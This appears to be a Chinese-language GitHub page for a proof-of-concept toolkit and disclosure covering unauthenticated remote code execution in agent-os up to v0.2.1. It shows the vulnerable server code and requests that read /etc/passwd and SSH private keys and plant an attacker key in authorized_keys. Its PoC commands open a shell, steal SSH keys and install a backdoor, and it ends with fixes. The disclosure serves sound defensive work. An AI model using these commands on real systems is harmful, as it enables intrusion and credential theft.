BlessedOn3/poc-agent-os-unauth-rce

GitHub: BlessedOn3/poc-agent-os-unauth-rce

针对 agent-os ≤ v0.2.1 未授权 RCE 漏洞(CVSS 10.0)的概念验证工具集,涵盖命令执行、文件读写和 WebSocket PTY shell 等五项发现的利用脚本与修复建议。

Stars: 0 | Forks: 0

# CVE — saadnvd1/agent-os 未授权 RCE(5 项发现) **严重性:** 严重(CVSS 3.1:10.0) **受影响版本:** agent-os ≤ v0.2.1 (`@saadnvd1/agent-os`) **报告人:** Mateus Gama (theblessone.sec@gmail.com) **披露:** 协调披露 — 2026-05-27(issue #47) ## 摘要 AgentOS 暴露了一个完全未经授权的后端,包含 53 个 API 路由和一个 WebSocket terminal endpoint。没有任何路由需要授权。默认情况下,服务器绑定到 `0.0.0.0`。 | # | 发现 | CVSS | |---|---|---| | 01 | 通过 WebSocket `/ws/terminal` 进行未授权 RCE | **10.0** | | 02 | 通过 `POST /api/exec` 进行未授权 RCE | **10.0** | | 03 | 未授权任意文件写入 | 9.6 | | 04 | 未授权任意文件读取 | 7.5 | | 05 | 未授权目录列举 | 7.5 | ## 发现-01 — WebSocket PTY Shell endpoint `/ws/terminal` 会为任何连接的客户端生成一个完整的 PTY: ``` // server.ts — no auth check before upgrade terminalWss.handleUpgrade(request, socket, head, (ws) => { terminalWss.emit("connection", ws, request); }); terminalWss.on("connection", (ws) => { ptyProcess = pty.spawn(shell, [], { cwd: HOME, env: minimalEnv }); ws.on("message", (msg) => { case "command": ptyProcess.write(msg.data + "\r"); // arbitrary shell command }); }); ``` ## 发现-02 — POST /api/exec ``` // app/api/exec/route.ts export async function POST(request: NextRequest) { const { command } = await request.json(); const { stdout } = await execAsync(command, { shell: "/bin/zsh" }); return NextResponse.json({ output: stdout }); } ``` ## 发现-03/04/05 — 文件读取 / 写入 / 目录列举 ``` // No auth on any of these: GET /api/files?path=/etc/passwd GET /api/files/content?path=~/.ssh/id_rsa POST /api/files/content { path: "~/.ssh/authorized_keys", content: "attacker-key" } ``` ## 概念验证 ``` # 快速检查 — 通过 exec endpoint 的 RCE bash poc/exec_rce.sh http://target:3011 # 完整的 WebSocket PTY shell python3 poc/ws_terminal.py ws://target:3011 # 窃取 SSH key bash poc/file_read.sh http://target:3011 ~/.ssh/id_rsa # 植入 SSH backdoor bash poc/file_write.sh http://target:3011 ~/.ssh/authorized_keys "$(cat payloads/ssh_key.pub)" ``` ## 修复方案 1. 在 `server.ts` 中将默认绑定更改为 `127.0.0.1` 2. 在首次运行时生成每个安装对应的 token(模式:Jupyter Notebook) 3. 在每个 HTTP 请求和 WebSocket 升级时要求提供 token 4. 移除或沙盒化 `POST /api/exec`
标签:CISA项目, MITM代理, 应用安全, 概念验证, 编程工具, 网络安全审计, 远程代码执行, 逆向工具